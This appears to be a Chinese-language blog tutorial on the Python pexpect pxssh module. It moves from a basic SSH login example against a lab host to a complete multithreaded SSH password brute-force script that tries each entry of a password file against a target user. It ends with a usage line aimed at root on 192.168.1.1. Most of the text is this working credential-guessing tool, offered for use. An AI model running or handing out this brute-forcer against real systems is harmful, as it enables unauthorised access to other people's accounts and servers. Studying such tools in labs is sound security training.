pxssh 是 pexpect 中 spawn 类的子类,增加了login()、logout()和prompt()几个方法,使用其可以轻松实现 ssh 连接,而不用自己调用相对复杂的 pexpect 的方法来实现。
prompt(self,timeout=20)方法用于匹配新提示符
小试牛刀;
#!/usr/bin/python #coding=utf-8 from pexpect import pxssh def send_command(s,cmd): s.sendline(cmd) #匹配prompt(提示符) s.prompt() #将prompt前所有内容打印出 print s.before def connect(host,user,password): try: s = pxssh.pxssh() #利用pxssh类的login()方法进行ssh登录 s.login(host,user,password) return s except: print '[-] Error Connecting' exit(0) s = connect('10.10.10.128','msfadmin','msfadmin') send_command(s,'uname -a')
完整代码:
#!/usr/bin/python #coding=utf-8 from pexpect import pxssh import optparse import time from threading import * maxConnections = 5 #定义一个有界信号量BoundedSemaphore,在调用release()函数时会检查增加的计数是否超过上限 connection_lock = BoundedSemaphore(value=maxConnections) Found = False Fails = 0 def connect(host,user,password,release): global Found global Fails try: s = pxssh.pxssh() #利用pxssh类的login()方法进行ssh登录 s.login(host,user,password) print '[+] Password Found: ' + password Found = True except Exception, e: #SSH服务器可能被大量的连接刷爆,等待一会再连接 if 'read_nonblocking' in str(e): Fails += 1 time.sleep(5) #递归调用的connect(),不可释放锁 connect(host,user,password,False) #显示pxssh命令提示符提取困难,等待一会再连接 elif 'synchronize with original prompt' in str(e): time.sleep(1) #递归调用的connect(),不可释放锁 connect(host,user,password,False) finally: if release: #释放锁 connection_lock.release() def main(): parser = optparse.OptionParser('[*] Usage : ./sshBrute.py -H <target host> -u <username> -f <password file>') parser.add_option('-H',dest='host',type='string',help='specify target host') parser.add_option('-u',dest='username',type='string',help='target username') parser.add_option('-f',dest='file',type='string',help='specify password file') (options,args) = parser.parse_args() if (options.host == None) | (options.username == None) | (options.file == None): print parser.usage exit(0) host = options.host username = options.username file = options.file fn = open(file,'r') for line in fn.readlines(): if Found: print '[*] Exiting: Password Found' exit(0) if Fails > 5: print '[!] Exiting: Too Many Socket Timeouts' exit(0) #加锁 connection_lock.acquire() #去掉换行符,其中Windows为'\r\n',Linux为'\n' password = line.strip('\r').strip('\n') print '[-] Testing: ' + str(password) #这里不是递归调用的connect(),可以释放锁 t = Thread(target=connect,args=(host,username,password,True)) child = t.start() if __name__ =='__main__': main()
emaphore,是一种带计数的线程同步机制,当调用release时,增加计算,当acquire时,减少计数,当计数为0时,自动阻塞,等待release被调用。其存在两种Semaphore, 即Semaphore和BoundedSemaphore,都属于threading库。
Semaphore: 在调用release()函数时,不会检查增加的计数是否超过上限(没有上限,会一直上升)
BoundedSemaphore:在调用release()函数时,会检查增加的计数是否超过上限,从而保证了使用的计数
调用方式:brute.py -H 192.168.1.1 -u root -f passwdlist.txt